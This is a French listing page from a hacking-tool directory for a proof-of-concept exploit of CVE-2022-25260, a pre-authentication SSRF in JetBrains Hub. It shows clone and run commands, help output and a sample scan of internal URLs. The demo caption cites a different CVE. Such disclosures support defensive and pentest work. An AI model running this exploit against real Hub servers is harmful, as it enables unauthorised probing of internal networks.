Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-25260 — # Preuve de concept pour CVE-2022-25260 : SSRF semi-aveugle pré-authentification dans JetBrains Hub | Kitploit
Outils/GitHubGitHub/yuriisanin/cve-2022-25260
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'Informations
GitHubyuriisanin/cve-2022-25260

CVE-2022-25260

# Preuve de concept pour CVE-2022-25260 : SSRF semi-aveugle pré-authentification dans JetBrains Hub

Voir le dépôt
431il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-25260

JetBrains Hub – SSRF semi-aveugle pré-authentification

Prérequis

  • JetBrains Hub <2021.1.14276
  • JetBrains Hub avant 2021.1.14276 était vulnérable à un contrôle d'accès inapproprié (CVE-2022-34894), ce qui permet à un attaquant de créer des services non fiables sans authentification même si l'utilisateur invité est désactivé. Cela permet d'exploiter la vulnérabilité sans aucune autre condition préalable (normalement, un attaquant doit au moins être authentifié).

Utilisation

Installation et exécution :

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-25260
$ cd CVE-2022-25260/
$ python3 exploit.py -h

|--------------------------------------------------------------------|
|       CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF        |
|           developed by Yurii Sanin (Twitter: @SaninYurii)          |
|--------------------------------------------------------------------|
usage: exploit.py [-h] -hub_url HUB_URL -email EMAIL [-internal_urls_file INTERNAL_URLS_FILE] [-internal_url INTERNAL_URL]

optional arguments:
  -h, --help            show this help message and exit
  -hub_url HUB_URL      Target Hub instance
  -email EMAIL          Email address of any user in the system
  -internal_urls_file INTERNAL_URLS_FILE
                        Path to internal service URLs file
  -internal_url INTERNAL_URL
                        Internal service URL
  

Utilisation :

root@kitploit:~
$ python3 exploit.py hub_url http://localhost:8080 -email [email protected] -internal_urls_file ./assets/payloads/urls.txt

|--------------------------------------------------------------------|
|       CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF        |
|           developed by Yurii Sanin (Twitter: @SaninYurii)          |
|--------------------------------------------------------------------|
[INFO] - staring scanning for 14 urls.
[INFO] - trying to create Hub service.
[INFO] - Hub service create, serviceId: '02cc6043-1469-4a8e-9a74-b003e721620c'.
[INFO] - trying to request: 'http://127.0.0.1:8080'.
[INFO] - OK. Host 'http://127.0.0.1:8080' is running HTTP service (XML-like response) [FOUND]. Message: 'Attribute name "ng-strict-di" associated with an element type "html" must be followed by the ' = ' character.'.
[INFO] - trying to request: 'http://127.0.0.1:8081'.
[INFO] - OK. Host 'http://127.0.0.1:8081' is DOWN.
[INFO] - trying to request: 'http://google.com'.
[INFO] - OK. Host 'http://google.com' is running HTTP service (presumably XML-like response) [FOUND]. Message: 'The markup in the document preceding the root element must be well-formed.'.

DÉMO:

CVE-2022-24342 Demo

Comment ça fonctionne ?

La vulnérabilité était possible en raison de l'utilisation d'Apache Batik avec les paramètres par défaut pour la rastérisation d'icônes SVG fournies par l'utilisateur. Vous pouvez trouver plus d'informations sur l'exploitation de la rastérisation SVG côté serveur ICI.

Support

Vous pouvez me suivre sur Twitter, GitHub ou YouTube.

Télécharger l’outil